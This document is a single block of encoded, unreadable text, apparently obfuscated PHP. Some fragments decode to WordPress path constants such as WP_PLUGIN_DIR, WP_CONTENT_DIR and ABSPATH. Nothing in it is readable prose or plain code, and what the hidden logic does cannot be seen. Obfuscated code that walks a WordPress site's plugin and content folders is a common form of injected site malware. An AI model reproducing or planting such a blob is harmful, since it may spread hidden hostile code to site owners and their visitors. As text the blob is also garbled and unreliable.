MOTSTJ\LD5^KPRV\MZ^[55MZKJMQSVLK5B5]
R[\]P]E]]W	SFT[SO[QS
MOTSTJ\L5VY]
R[\]P]EY^SLZD5VYVLLZK[OUZ	PXJLIVd]
R[\]P]EbD5MZKJMQSVLK5B5[OUZ	PXJLIVd]
R[\]P]EbKMJZ555B55H^[H[EIQNUU`JLJWQ
ZWLW^LNTJMOTSTJ\L5VYVXM][PQ]Y\LH^[H[EIQNUU`D5MZKJMQSVLK55B5YPMZ^\WH^[H[EIQNUU`^LEX[	^\]QK
YFD5VY]]W	SFT[SO[QSKMJZPK`PJ
]
X^\CCVXM][PQ]Y\L	SVLKD5]MZ^T5B5QSGTU\ZMOTSTJ\LEX[	^\]QK
YF5555VYVXM][PQ]Y\LQSGTU\ZD5\PQKVQJZ5B55VYEFRTLZZP[K
QSGTU\ZD5SVLKEFRTLZZP[KSVLKUGQP`MMXZZZZT	GYQSGTU\Z^\WV`PVEJ`LSKOZK`JJEY`\WM[OUZ	PXJLIVPK`PJ
]
X^\5BZSLZVYVH`INEO^FN]EXQSGTU\ZD5FWHGHEQVH`INEO^FN]EXQSGTU\Z\PQLK^QKEFRTLZZP[K5FWHGHEQ]]W	SFT[SO[QS	FWHGHEQ EFRTLZZP[KFWHGHEQ5VYVXM][PQ]Y\L	FWHGHEQ^\WV`PVEJ`LSKOKMJZD5SVLKdbQSGTU\ZLKSUT	NJUSFYSKFLKSUT5B5B5B5MZKJMQSVLK5B55YJQ\KVPQT[ZJXRN[MK	[FQEOSJXVQ`]^LZQ^RZ5D55VYVXM][PQ]Y\L	OSJXVQ`]^LZQ^RZCCOSJXVQ`]^LZQ^RZD5555MZKJMQY^SLZ5B5VY]]W	SFT[SO[QSOSJXVQ`]^LZQ^RZVXM][PQ]Y\L	Y^SLZD5MZKJMQY^SLZ5B55OSJXVQ`]^LZQ^RZEFRTLZZP[K	OSJXVQ`]^LZQ^RZ5VYOSJXVQ`]^LZQ^RZNHWM
	E]	YE^MD5555MZKJMQY^SLZ5B55555VY]]W	SFT[SO[QSEFRTLZZP[K
]]W	SFT[SO[QS~}lo~kwVXM][PQ]Y\L	D5MZNJVMZ`PQ\Z~}lo~kw]]W	SFT[SO[QS	5B55VYVH`INEO^FN]EXEFRTLZZP[K
VL`OSJXVQ`^\KVIZOSJXVQ`]^LZQ^RZD5[Z^\KVI^KZ`OSJXVQL^MM^FOSJXVQ`]^LZQ^RZKMJZ5B55MOTSTJ\L[ZYVQZ[VXM][PQ]Y\L ho`osjxvq`{vm]]W	SFT[SO[QSOSJXVQ`]^LZQ^RZ555VYMOTSTJ\L]]W	SFT[SO[QSMOTSTJ\LEFRTLZZP[KOSJXVQ`]^LZQ^RZVH`INEO^FN]EXOSJXVQ`]^LZQ^RZD5VYJVUJL[F`
IJXU`MOTSTJ\LD5MZKJMQKMJZ5555B5B55VYVXM][PQ]Y\LVXM][PQ]Y\LD55VYVH`INEO^FN]EX]]W	SFT[SO[QSCC\JMMZQK`JLZM`\^QVH`INEO^FN]EXD5O^MKVKVPQOMVPMVKFNJZJZYPMhoo^XZsVLK55VYVXM][PQ]Y\LVH`INEO^FN]EXVXM][PQ]Y\LVXM][PQ]Y\LD55JLZMLXZK`JLZML^MM^FVH`INEO^FN]EXVXM][PQ]Y\L
]]W	SFT[SO[QS	5VYZROKFJLZMLJLZMLdbv{D5VH`INEO^FN]EXJLZMLdbv{5BZSLZD555VXM][PQ]Y\L5B5B5B55RZ]HHU^Z
LNQ[ZSZKZ`OSJXVQL^MM^FOSJXVQ`]^LZQ^RZ5VYVL`HO`ZMMPMRZ]HHU^Z
LNQD555MZKJMQ]PPSRZ]HHU^Z
LNQ5B5B5MZKJMQY^SLZ5B55YJQ\KVPQJVUJL[F`
IJXU`MOTSTJ\LZK`JJEY`\WM5D5VYZK`JJEY`\WM	DO	L\SK`Z`owo`r~upm`izmlvpqMRR[FSWKHKO	L\SK`Z`5MZKJMQY^SLZ5B555VYVH`INEO^FN]EX	MOTSTJ\LCCMOTSTJ\LCCVH`INEO^FN]EXMOTSTJ\L]]W	SFT[SO[QS	Y^SLZD5MZKJMQY^SLZ5B555IUXPXPRRLGVXM][PQ]Y\LMOTSTJ\L5VYIUXPXPRRLGY^SLZCCVH`INEO^FN]EXIUXPXPRRLGDQOS^VYTR	FLLMHLGQOS^VYTR5MZKJMQY^SLZ5B5FTQWUQR[[PR[ZYVQZ[VXM][PQ]Y\L VH`INEO^FN]EXho`osjxvq`{vmY^SLZ5VYFTQWUQR[[PRY^SLZCCIUXPXPRRLGFTQWUQR[[PRVXM][PQ]Y\LIUXPXPRRLGFTQWUQR[[PR{vmz|kpmf`lzo~m~kpmD5MZKJMQY^SLZ]S	N`NYGG]RVWH	LU]S	N`NY	5B5HUQ[PLOMOVXM][PQ]Y\L
IUXPXPRRLG5VY]]W	SFT[SO[QSHUQ[PLOMOD5MZKJMQY^SLZ5B5YPMZ^\WHUQ[PLOMO^LWSWYL`	
YD555VYWSWYL`	
YCCWSWYL`	
YVH`INEO^FN]EX	D5\PQKVQJZ5B5QSGTU\ZIUXPXPRRLG\PQLK^QKVH`INEO^FN]EXWSWYL`	
Y5VYVH`INEO^FN]EXQSGTU\ZD5VFSMLJMN\IFZNQQSGTU\Z5\PQKVQJZ5B5ZG^\KMZKMFOPSV\F555VY]]W	SFT[SO[QSQSGTU\ZD5JVUJL[F`
IJXU`QSGTU\ZZK`JJEY`\WM5555BZSLZDXXV^HN]G]G
^OGG]WQVRXXV^HN]	5VYVFSMLJMN\IFZNQQSGTU\ZD5NNKZM`SOUHJYLELIV\ZQSGTU\ZG
YG
5VFSMLJMN\IFZNQQSGTU\Z5B5B5B5VYEFRTLZZP[KIUXPXPRRLGD5NNKZM`SOUHJYLELIV\ZIUXPXPRRLG	55VH`INEO^FN]EXIUXPXPRRLG5B5hoJLZzQKVKFmZ\PM[L^\NJVMZMZKMFOPSV\F55MZKJMQ]]W	SFT[SO[QSIUXPXPRRLG5B555YJQ\KVPQO
MUFU\UJIEIME^UY`5D55KMFD5SVLK\XLJUFLQSE5VY]]W	SFT[SO[QSSVLKD5MZKJMQ5B55555VQELNVUS\LO^MM^F5Z	\`TM[EP[
VXTY^SLZ5YPMZ^\WEFRTLZZP[KSVLK^L]^LZQ^RZD5hPM[oMZLL	\PRR^Q[L]^K\WLTVOSVLK555VYVXM][PQ]Y\L	]^LZQ^RZD5555\PQKVQJZ555B55G`S	EIS[MYVH`INEO^FN]EX]^LZQ^RZ5VYG`S	EIS[MYD5G`S	EIS[MY]^LZQ^RZ5B5VYVLLZKVQELNVUS\LOdG`S	EIS[MYbD5\PQKVQJZ5B55VQELNVUS\LOdG`S	EIS[MYbKMJZ5VYKWU
G]O	LF	[]^LZQ^RZD5T[ZJXRN[MK	[FQE]^LZQ^RZ5Z	\`TM[EP[
VXTKMJZ5B5B55VYVH`INEO^FN]EX
J`\^PQZPIIFTLPWKQDMKE
\QT^	FZOMTLSOWNMKE
\QT^5QHJ	]^GRJLJWQ
ZWLW^LNTJJ`\^PQZPIIFTLPWKQ5VYVXM][PQ]Y\L	QHJ	]^GRD5I[VGPZFUPIZGNxsp}~sldVH`INEO^FN]EXb5555YPMZ^\WQHJ	]^GR^LEX[	^\]QK
YFD55VYEX[	^\]QK
YFVTLW
XJG
JFGVSN\FD5\PQKVQJZ5B5hovQKZM^\KVIVKF~ov^LOZ\KM^KVP555\PSHEGZS^PJ`\^PQZPIIFTLPWKQEX[	^\]QK
YF5VYEFRTLZZP[K\PSHEGZS^PCC]]W	SFT[SO[QS]]W	SFT[SO[QSEX[	^\]QK
YF\PQLK^QKEFRTLZZP[KVH`INEO^FN]EXD5\PQKVQJZ55B555VYLOWM]O]LJO\PSHEGZS^PI[VGPZFUPIZGND5VFSMLJMN\IFZNQ\PSHEGZS^P5Z	\`TM[EP[
VXTKMJZ555B555B5B5B55YR	J	
ZLI\NKSxsp}~sldVXM][PQ]Y\Lb5VYEFRTLZZP[K	YR	J	
ZLI\NKSZROKFYR	J	
ZLI\NKSD5mZ\KPM^JKPMZY^\KPMLVKZRZK^55VYMFEKVG
Q\]WMO`YR	J	
ZLI\NKSD5555Z	\`TM[EP[
VXTKMJZ5B5B5B\^K\WkWMPH^]SZSKQO
]K`D5[ZMZXVLKZMZYYZ\KKFOZ55PTG]`[M\TJL[^FSJEFRTLZZP[KSKQO
]K`5B\^K\WzG\ZOKVPQSKQO
]K`D5B5B555YJQ\KVPQORIFKVM]GTF^SJ5D5OMPO^X^KZ\PQLKXZQZM^SMZ\JMLVIZ\PSSZ\KPM5555KMFD5VW]RHS^
HOXRJEVQKXZK`POKVPQEFRTLZZP[K
5VYEFRTLZZP[KVW]RHS^
HOXRJE
		D5JO[^KZ`POKVPQVXM][PQ]Y\L
VH`INEO^FN]EX
5KINJKIJW\J^MM^F^MM^FQSZ]NSTIXV[VJ
^MM^FEFRTLZZP[K
5FQ^MUQOI]]W	SFT[SO[QS
]]W	SFT[SO[QS ]]W	SFT[SO[QS5555VYFQ^MUQOIFQ^MUQOIQSZ]NSTIXV[VJ
KINJKIJW\Jdb^MM^FFQ^MUQOI^MM^FVXM][PQ]Y\L
VXM][PQ]Y\L

5YPMZ^\WKINJKIJW\J^LJPNORNFTFD5~o|JLWRmzlk\PQKMPSSZM55YPMZ^\WJPNORNFTFdb^LHXEGHQQ
`WD5M]MLZEIHLSWVXM][PQ]Y\L
VXM][PQ]Y\L
 ]]W	SFT[SO[QS
JPNORNFTFdbHXEGHQQ
`WY^SLZ5VYVXM][PQ]Y\L	M]MLZEIHLSW\PQKVQJZ55555YPMZ^\WM]MLZEIHLSW^LGWO
^GUTD5VYEFRTLZZP[K
	GWO
^GUT\PQKVQJZ5LXFU\NLPEFRTLZZP[KGWO
^GUT5555VYLXFU\NLPY^SLZ]]W	SFT[SO[QS
LXFU\NLPVFSMLJMN\IFZNQGWO
^GUT5B55B5B5VFEMXQ	L[URXZK`POKVPQEFRTLZZP[K^MM^F5VY]]W	SFT[SO[QS	VFEMXQ	L[URVFEMXQ	L[UR^MM^F5UHZ
QKRYVXM][PQ]Y\L
M	L]ZERIVH`INEO^FN]EX
RPMKGOVMRL	WNNJ^Q\MRRVJN\RPMKGOVMRL RPMKGOVMRLRPMKGOVMRL5555`O[[ZYVQZ[]]W	SFT[SO[QS ho`|pqkzqk`{vm~}lo~kw]]W	SFT[SO[QS
VXM][PQ]Y\L	5YPMZ^\WVXM][PQ]Y\L
EFRTLZZP[K
 ^MM^FVXM][PQ]Y\L
`O[VXM][PQ]Y\L	^MM^F^LNYNOO\	ZWHQD5VY]]W	SFT[SO[QS	VXM][PQ]Y\LNYNOO\	ZWHQUHZ
QKRY\PQKVQJZ5]GK]E
EFRTLZZP[K	]]W	SFT[SO[QS	NYNOO\	ZWHQ]]W	SFT[SO[QS	NYNOO\	ZWHQV]K\	
C		GGLYLVM
V]K\	a5VYVXM][PQ]Y\L	]GK]E
VFEMXQ	L[URKMJZ\PQKVQJZ5VYVXM][PQ]Y\LNYNOO\	ZWHQ\PQKVQJZ5K\OKKY`PJ]KKXWVXM][PQ]Y\LNYNOO\	ZWHQ5VYK\OKKY`PJ]KKXWCCK\OKKY`PJ]KKXW\PQKVQJZ55^THUUXSX	OOXRVH`INEO^FN]EX
NYNOO\	ZWHQ5VY]]W	SFT[SO[QS	^THUUXSX	OOXRCCVXM][PQ]Y\L	^THUUXSX	OOXREFRTLZZP[K	
Y^SLZ\PQKVQJZ5K	
OYR\MNVH`INEO^FN]EX
VH`INEO^FN]EX		^THUUXSX	OOXR5VY]]W	SFT[SO[QS	K	
OYR\MNCCK	
OYR\MN^THUUXSX	OOXRCCIE[
QM[VN\`]\E]JK	
OYR\MN\PQKVQJZ5L]NY]EJ\QQ
ILGUVGONYNOO\	ZWHQK	
OYR\MN5VYEFRTLZZP[K	VH`INEO^FN]EXPO\^\WZ`VQI^SV[^KZNYNOO\	ZWHQKMJZ5555B5JQLZKVFEMXQ	L[URUHZ
QKRY`O[NYNOO\	ZWHQ]GK]E
K\OKKY`PJ]KKXW^THUUXSX	OOXRK	
OYR\MN5L
[QGTTMTEMMN\X`L5B55UGMGNHSZxsp}~sldVH`INEO^FN]EX	b55YR	J	
ZLI\NKSxsp}~sld]]W	SFT[SO[QSb55]X[JVYLHSU^K]XVXM][PQ]Y\L	UGMGNHSZZROKFUGMGNHSZCCVH`INEO^FN]EX	YR	J	
ZLI\NKSZROKFYR	J	
ZLI\NKS5VY]X[JVYLHSU^K]XD5MZKJMQ5B555RYUXK]`VU	\IS]WVQKXZK`POKVPQVH`INEO^FN]EX5VYVH`INEO^FN]EX
RYUXK]`VU	\IS]WGZGD5hok^X|SPJ[SVQTJQVYV\^KVPQ55MZKJMQ5B555O
MUFU\UJIEIME^UY`5JO[^KZ`POKVPQ]]W	SFT[SO[QSEFRTLZZP[K
5B\^K\WkWMPH^]SZSKQO
]K`D5PTG]`[M\TJL[^FSJ]]W	SFT[SO[QSSKQO
]K`5B\^K\WzG\ZOKVPQSKQO
]K`D5olmQ^RZLO^\ZL\^O^]VSVKFX^KZ55B5555B55YJQ\KVPQX	QKLXT`K	TMJHHLQY55D555KMFD555555OSWHU\SXQFGZEGGFQGIVMRH555VYOSWHU\SXQFGCCVXM][PQ]Y\L

OSWHU\SXQFG
MZKJMQ5VYIE[
QM[VN\`]\E]JOSWHU\SXQFGDURRNL
JE	IMHQTHIKURRNL
JE URRNL
JEURRNL
JE55PTG]`[M\TJL[^FSJEFRTLZZP[K]]W	SFT[SO[QS5MZKJMQ5B555VYVH`INEO^FN]EX	VXM][PQ]Y\LXZK`KM^QLVZQKEFRTLZZP[K
MZKJMQ5555EZXTSIH]VFJ`\^PQZPIIFTLPWKQ55\SZ^MLK^K\^\WZKMJZ555VYVXM][PQ]Y\L	EZXTSIH]VFVH`INEO^FN]EX
EZXTSIH]VFD5MZKJMQ5B5555VYVXM][PQ]Y\LEZXTSIH]VFD5QITYROYYZ^P[YJR^LT55`QGTGLSFXUY^^[EZXTSIH]VF

KMJZ5JR^LTQITYROYYZ^P[Y5NNKZM`SOUHJYLELIV\ZEZXTSIH]VF5\SZ^MLK^K\^\WZKMJZ5BZSLZVYEFRTLZZP[KEZXTSIH]VFCC]]W	SFT[SO[QSEZXTSIH]VFD5NNKZM`SOUHJYLELIV\ZEZXTSIH]VF

5\SZ^MLK^K\^\WZKMJZ5B55VYVXM][PQ]Y\LEZXTSIH]VFVXM][PQ]Y\LEZXTSIH]VFCCEFRTLZZP[KEZXTSIH]VF]]W	SFT[SO[QSEZXTSIH]VFD5QITYROYYZ^P[YJR^LT5`QGTGLSFXUY^^[EZXTSIH]VF		KMJZ5JR^LTQITYROYYZ^P[Y55NNKZM`SOUHJYLELIV\ZEZXTSIH]VF5\SZ^MLK^K\^\WZKMJZ5B55\SZ^MLK^K\^\WZKMJZ5VYVH`INEO^FN]EXEZXTSIH]VFCC]]W	SFT[SO[QSEZXTSIH]VFCCVXM][PQ]Y\LEZXTSIH]VFD5PTG]`[M\TJL[^FSJEFRTLZZP[KEFRTLZZP[K5VY]]W	SFT[SO[QSVH`INEO^FN]EXLZK`KM^QLVZQKVH`INEO^FN]EX

5MZKJMQ5B55555TO[GP\UV^NHKEZXTSIH]VFVTLW
XJG
JFGVSN\F5555VYERZ[YU	]IK\ERXH
TO[GP\UV^NHKD5MZKJMQ5B5VY]]W	SFT[SO[QSTO[GP\UV^NHK]]W	SFT[SO[QSTO[GP\UV^NHKEFRTLZZP[KUH`VLVJVW
UTUZLKMVQX]]W	SFT[SO[QSTO[GP\UV^NHKVXM][PQ]Y\LOSWHU\SXQFGD5S^YTFWKYW`^TO[GP\UV^NHK5]VHOMXWUJY]KHQ5555X	\W]SXLFR^IERIWX5MZKJMQ5B5VYVH`INEO^FN]EXTO[GP\UV^NHKEFRTLZZP[KTO[GP\UV^NHKG]	G[DGGFRYMK
SFW^	OO`GY]RGGFRYMK
SF GGFRYMK
SFGGFRYMK
SF5UTISFULKMVQXEFRTLZZP[KTO[GP\UV^NHKY^SLZQJSS	
5VYEFRTLZZP[K	UTISFUVXM][PQ]Y\L	]]W	SFT[SO[QS	UTISFU`[RIZMLVPQ`\PRO^MZ`[RdbHX]T^EKEHX	P^Q^	HYKMZKJMQ55JQLZKUTISFU`[R5B5FWIUJ`
QL]NY]EJ\QQ
ILGUVGOTO[GP\UV^NHKKYRNPPYTJF^ZT
PQHOSWHU\SXQFG5555VYFWIUJ`
QCCVH`INEO^FN]EX
TO[GP\UV^NHKCCVH`INEO^FN]EXTO[GP\UV^NHKCCVH`INEO^FN]EXUH`VLVJVW
UTUZLKMVQXVH`INEO^FN]EX	TO[GP\UV^NHK]]W	SFT[SO[QSOSWHU\SXQFGD5VYFWIUJ`
QEFRTLZZP[KTO[GP\UV^NHKD5UTISFULKMVQXEFRTLZZP[K	TO[GP\UV^NHKY^SLZQJSS5\J	NTUT`]VH`INEO^FN]EXUTISFUEFRTLZZP[K	VH`INEO^FN]EX	UTISFU`[RIZMLVPQ`\PRO^MZ`[RdbHX]T^EKEHX	P^Q^	HYK5JQLZKUTISFU`[R55VY\J	NTUT`]D5NNKZM`SOUHJYLELIV\ZTO[GP\UV^NHK5VFSMLJMN\IFZNQTO[GP\UV^NHK5B5B5VYVH`INEO^FN]EXVH`INEO^FN]EXLZK`KM^QLVZQKVXM][PQ]Y\L
5MZKJMQ5B55ZUST[\KTSTO[GP\UV^NHKYKY]TW	C	K`EQYKY]TW	a	5NNKZM`SOUHJYLELIV\ZTO[GP\UV^NHK5S^YTFWKYW`^TO[GP\UV^NHK5]VHOMXWUJY]KHQ5X	\W]SXLFR^IERIWX5B\^K\WkWMPH^]SZSKQO
]K`D5PTG]`[M\TJL[^FSJVXM][PQ]Y\LSKQO
]K`5B\^K\WzG\ZOKVPQSKQO
]K`D55B5B5YJQ\KVPQGK^VURFH\HE[PL55D5KMFD5OSWHU\SXQFGZEGGFQGIVMRH5VYOSWHU\SXQFG]MXM\FR
]WN
KZE	OSWHU\SXQFGD5QITYROYYZ^P[YW]VJIUHXHJMEQT``G]]W	SFT[SO[QS5^TVZHIRXIMPT
KNP	YIHEVH`INEO^FN]EXQITYROYYZ^P[Y QITYROYYZ^P[Y5`MOP`WY\Z`MPT
KNP	YIHEOSWHU\SXQFG5VY]]W	SFT[SO[QSQITYROYYZ^P[YCC]]W	SFT[SO[QS

QITYROYYZ^P[YGG
]CC]MXM\FR
]WN
KZE	QITYROYYZ^P[YCC^TVZHIRXICC`MOP`WY\Z`IZMLVPQ`\PRO^MZ`MOP`WY\Z`^TVZHIRXID5UE`SSEE	KFE^M[HQTRI]]W	SFT[SO[QSOSWHU\SXQFGVH`INEO^FN]EX5VYVH`INEO^FN]EX]]W	SFT[SO[QSD5JO[^KZ`POKVPQEFRTLZZP[KVXM][PQ]Y\L5JO[^KZ`POKVPQ]]W	SFT[SO[QS		]]W	SFT[SO[QS5JO[^KZ`POKVPQ]]W	SFT[SO[QS
VXM][PQ]Y\L5B5VY]]W	SFT[SO[QSEFRTLZZP[K[ZSZKZ`KM^QLVZQK^LLM`XV

EVTLN5B555B55555VY]]W	SFT[SO[QSVH`INEO^FN]EXVH`INEO^FN]EXVXM][PQ]Y\LD5J[WXHZNPSXZK`POKVPQ]]W	SFT[SO[QS5VYJ[WXHZNPSY^SLZJ[WXHZNPSHX]T^EKEHX	P^Q^	HYKD5JO[^KZ`POKVPQEFRTLZZP[KHX]T^EKEHX	P^Q^	HYKVH`INEO^FN]EX5B5B5VQLK^QKV^KZOMPUZ\KVIZOMPPYKZMR55VYEFRTLZZP[K
]]W	SFT[SO[QS	CC^[[`POKVPQ]]W	SFT[SO[QSHX]T^EKEHX	P^Q^	HYK]]W	SFT[SO[QSD5MZKJMQ55B55GGKFRZXI\RRS]PIP5VY]]W	SFT[SO[QS
]]W	SFT[SO[QSD5JO[^KZ`POKVPQ]]W	SFT[SO[QSEFRTLZZP[K5JO[^KZ`POKVPQVXM][PQ]Y\L		EFRTLZZP[K5JO[^KZ`POKVPQVXM][PQ]Y\LEFRTLZZP[K5B5VYVXM][PQ]Y\L
VH`INEO^FN]EX[ZSZKZ`KM^QLVZQK^LLM`XV

EVTLN55VYOSWHU\SXQFG]MXM\FR
]WN
KZE	OSWHU\SXQFGD5UE`SSEE	KFE^M[HQTRIVXM][PQ]Y\LOSWHU\SXQFG]]W	SFT[SO[QS5B5]ZQ\WR^MTOMPIV[ZM55H[UTRZFZS		VYXQJSS55NNKZM`SOUHJYLELIV\ZM	L]ZERIG\^G
^5ZQ^]SZMZLJRZLZLLVPQ555555XFTSLI[EJIT]VXM][PQ]Y\LVH`INEO^FN]EX555XFTSLI[EJIT]VXM][PQ]Y\LVXM][PQ]Y\L5B\^K\WkWMPH^]SZSKQO
]K`D5PTG]`[M\TJL[^FSJVXM][PQ]Y\LSKQO
]K`5VY]]W	SFT[SO[QS
VH`INEO^FN]EX[ZSZKZ`POKVPQVH`INEO^FN]EX5B\^K\WzG\ZOKVPQSKQO
]K`D5VYVXM][PQ]Y\L
VH`INEO^FN]EX[ZSZKZ`POKVPQEFRTLZZP[K5B5B5YJQ\KVPQN`OULIVRHNNXPJZ5D5KMFD]\E^^GZFV[	SNSXIKWNNQOJ]\E^^GZFV[5VYVXM][PQ]Y\L
]]W	SFT[SO[QSD5hozQKVKFoMPIV[ZMLM\LZK[ZL\MVOKPM55VH`INEO^FN]EXWPRZ`JMS^MM^FVH`INEO^FN]EX	VH`INEO^FN]EXY^SLZ]]W	SFT[SO[QSY^SLZ5555B5owoZQJR\PQYVXJMZMZXVLKMF55B\^K\WkWMPH^]SZSKQO
]K`D5PTG]`[M\TJL[^FSJVH`INEO^FN]EXSKQO
]K`5B\^K\WzG\ZOKVPQSKQO
]K`D5B5B55YJQ\KVPQGY

JMEU
R555D5LK^KV\^^WINFZY^SLZ5VY^^WINFZMZKJMQ5^^WINFZKMJZ5KMFD5VYEFRTLZZP[K
VH`INEO^FN]EX
CCVL`^[RVQD5MZKJMQ5B5VYEFRTLZZP[K
VXM][PQ]Y\LCC\JMMZQK`JLZM`\^Q]]W	SFT[SO[QS	D5MZKJMQ5B5JE	XM^SV
P	GUFTGVLLZK`mznjzlkdVH`INEO^FN]EXb `mznjzlkdVXM][PQ]Y\Lb5JE	XM^SV
P	GUFTGVXM][PQ]Y\LJE	XM^SV
P	GUFTG EFRTLZZP[K	JE	XM^SV
P	GUFTG5VYJE	XM^SV
P	GUFTG]]W	SFT[SO[QSJE	XM^SV
P	GUFTGVH`INEO^FN]EXD5MZKJMQ5B55H`M`JJ
YW	^MM^F55VYJE	XM^SV
P	GUFTGVXM][PQ]Y\LD5L	^MPYKPJK
QVLLZK`mznjzlkdEFRTLZZP[K
b `mznjzlkdVXM][PQ]Y\L
b5L	^MPYKPJK
QVXM][PQ]Y\LL	^MPYKPJK
Q VXM][PQ]Y\LL	^MPYKPJK
Q5VYL	^MPYKPJK
QL	^MPYKPJK
QNHWM
	E]	YE^MD5H`M`JJ
YW	dbL	^MPYKPJK
Q5B5BZSLZD5LKMZ^RVQXLK^\TYM^RZ555F`]`^\HIP\NVLLZK`mznjzlkdVH`INEO^FN]EXb `mznjzlkdVH`INEO^FN]EXb^MM^F5F`]`^\HIP\NEFRTLZZP[KF`]`^\HIP\N F`]`^\HIP\N^MM^F5YPMZ^\WF`]`^\HIP\N^LL	^MPYKPJK
QD5SP\TLZMV^SVEZMYPMR]LKMVQXLKMV\K55555L	^MPYKPJK
QEFRTLZZP[KL	^MPYKPJK
Q VH`INEO^FN]EXL	^MPYKPJK
Q5555VYL	^MPYKPJK
QL	^MPYKPJK
QNHWM
	E]	YE^MD5H`M`JJ
YW	dbL	^MPYKPJK
Q5B5B5B5VYZROKFH`M`JJ
YW	D5MZKJMQ`TE\`RJ	C[XM]^FF\EL`TE\`RJa5B5ZGOZ\KZ[LSV[VQXHVQ[PH55Z	\`TM[EP[
VXTY^SLZ5YPMZ^\WH`M`JJ
YW	^LL	^MPYKPJK
QDVMSV^ERRYXNGYG\]
ZXRGSWVMSV^ERRYXN	5VYKWU
G]O	LF	[L	^MPYKPJK
QD5T[ZJXRN[MK	[FQEL	^MPYKPJK
Q5Z	\`TM[EP[
VXTKMJZ5B5B5VYZ	\`TM[EP[
VXTD5555VYEFRTLZZP[K
EFRTLZZP[KVXM][PQ]Y\L
VXM][PQ]Y\L
D5owolK^QSZIZSYMZZI^SV[^KPM5555HO`L^YZ`MZ[VMZ\K^[RVQ`JMSVXM][PQ]Y\L	5B5B5B\^K\WkWMPH^]SZSKQO
]K`D5PTG]`[M\TJL[^FSJVH`INEO^FN]EXSKQO
]K`5B\^K\WzG\ZOKVPQSKQO
]K`D5olmQ^RZLO^\ZL^IVYY^SS]^\T55B5B5YJQ\KVPQ^QHKPNZQ]
]ELXXV`LZHK\LR^KSNTXN[OF5D5555VY^KSNTXN[OF]]W	SFT[SO[QSD5OSJXVQLxsp}~sldVXM][PQ]Y\Lb5VYVLLZKOSJXVQLd]]W	SFT[SO[QSbCCVXM][PQ]Y\LOSJXVQLdVXM][PQ]Y\LbD5555MZKJMQXV`LZHK\LR55B5EU`OZN	`[ZYVQZ[VXM][PQ]Y\L ho`|pqkzqk`{vm[ZYVQZ[]]W	SFT[SO[QS ~}lo~kwVXM][PQ]Y\L
5VYEU`OZN	`D5MZKJMQXV`LZHK\LR5B5FOVJ]SOU	Y`U^MM^FVXM][PQ]Y\LEFRTLZZP[KVH`INEO^FN]EX]]W	SFT[SO[QS5YPMZ^\WFOVJ]SOU	Y`U^LIRFFR[^IHXEGHQQ
`WD5555VYVLLZKOSJXVQLd]]W	SFT[SO[QS
bdIRFFR[^IbD5\PQKVQJZ5B5JQRPJQKKMVZ55555\NEVQUTIZUVXM][PQ]Y\L	EU`OZN	`IRFFR[^I5VYVH`INEO^FN]EX\NEVQUTIZUCCEFRTLZZP[K	\NEVQUTIZUEFRTLZZP[KHXEGHQQ
`WEFRTLZZP[KY^SLZD5\PQKVQJZ5B555UKU]U]VQY[NJ`VH`INEO^FN]EX
]]W	SFT[SO[QSHXEGHQQ
`WVXM][PQ]Y\LHXEGHQQ
`WEFRTLZZP[K\NEVQUTIZU5VYVXM][PQ]Y\LUKU]U]VQY[NJ`D5\PQKVQJZ5B5UKU]U]VQY[NJ`VH`INEO^FN]EXUKU]U]VQY[NJ`555VYUKU]U]VQY[NJ`CCUKU]U]VQY[NJ`]]W	SFT[SO[QS	CCUKU]U]VQY[NJ`EFRTLZZP[K
D5hoJLZ}SP\ToMPOLKM^QLVZQKkks55JQLZKOSJXVQLdVH`INEO^FN]EX
bdIRFFR[^Ib5B5B5MZKJMQXV`LZHK\LR5B5555VY^KSNTXN[OFVXM][PQ]Y\LD5MZKJMQXV`LZHK\LR5B5OSJXVQLxsp}~sldEFRTLZZP[Kb55GV[UT
[WLKJI]OVXM][PQ]Y\L	M	L]ZERI5VYVLLZKOSJXVQLdVXM][PQ]Y\LbdGV[UT
[WLKJI]ObD5JQLZKOSJXVQLd]]W	SFT[SO[QSbdGV[UT
[WLKJI]Ob5B5MZKJMQXV`LZHK\LR5B5VYEFRTLZZP[K
]]W	SFT[SO[QS
D5YJQ\KVPQ]`Y\`R	ZYOSZX\PR55D5VY^^FJIM`E^]QEZRD5MZKJMQ55B5[ZNRP^YRR]OEFRTLZZP[K	M	L]ZERI5[INN^OUHUIEF]]W	SFT[SO[QS	M	L]ZERIEFRTLZZP[K5THWFNP`WN[INN^OUHUIEF[ZNRP^YRR]O5Z\WPVXM][PQ]Y\LZL\`^KKM[ZNRP^YRR]OVXM][PQ]Y\LZL\`^KKMTHWFNP`WNVXM][PQ]Y\L5Z\WPVXM][PQ]Y\LZL\`UL[ZNRP^YRR]OVXM][PQ]Y\LZL\`ULTHWFNP`WN]]W	SFT[SO[QS5B5B5VYVH`INEO^FN]EXVH`INEO^FN]EX
D5YJQ\KVPQ^VL\HHP\NHPGT\`[JJ]XPT	H]U5D5SPX^MVKWRV\[Z\PM^KPM55VYEFRTLZZP[K[JJ]XPT	H]UD5MZKJMQ[JJ]XPT	H]UXHZJ^
ZTQX	LIUQ
E
FNXHZJ^
ZTQX5B5[ZNRP^YRR]ONHWM
	E]	YE^M5VYVLLZK[JJ]XPT	H]UMZLOPQLZd[ZNRP^YRR]ObD5JQLZK[JJ]XPT	H]UMZLOPQLZd[ZNRP^YRR]Ob555B5ZLLZQKV^S^SZMK55MZKJMQ[JJ]XPT	H]U5B5B5VYEFRTLZZP[KEFRTLZZP[K	D55YJQ\KVPQY^KLMK[OTPZKMI	NWOSJXVQL5D5IYXE	[YNHWM
	E]	YE^M5VYVLLZKOSJXVQLdIYXE	[YbD5JQLZKOSJXVQLdIYXE	[Yb555B5[INN^OUHUIEFEFRTLZZP[K	M	L]ZERIVXM][PQ]Y\L5THWFNP`WN[INN^OUHUIEFVH`INEO^FN]EXM	L]ZERIT
LKJ^LL\JSSP]UE`EGT
LKJ^LL\J T
LKJ^LL\JT
LKJ^LL\J5VYVLLZKOSJXVQLdTHWFNP`WNbD5honJZMFsPPO[ZQLZNJPKVZQK55JQLZKOSJXVQLdTHWFNP`WNb5B5MZKJMQOSJXVQL5B5B5YJQ\KVPQH\VR^XNUXNVXX
WV	QMS`FZE5D5VY]]W	SFT[SO[QSWV	QMS`FZED5MZKJMQWV	QMS`FZE5B5ZQG][FG5VYVXM][PQ]Y\L]]W	SFT[SO[QSVXM][PQ]Y\L
M	L]ZERID5UFVPPPHKG[S[XZK`OSJXVQ`[^K^M	L]ZERIY^SLZY^SLZ5ZQG][FGVLLZKUFVPPPHKG[S[dVXM][PQ]Y\Lb UFVPPPHKG[S[dVXM][PQ]Y\L
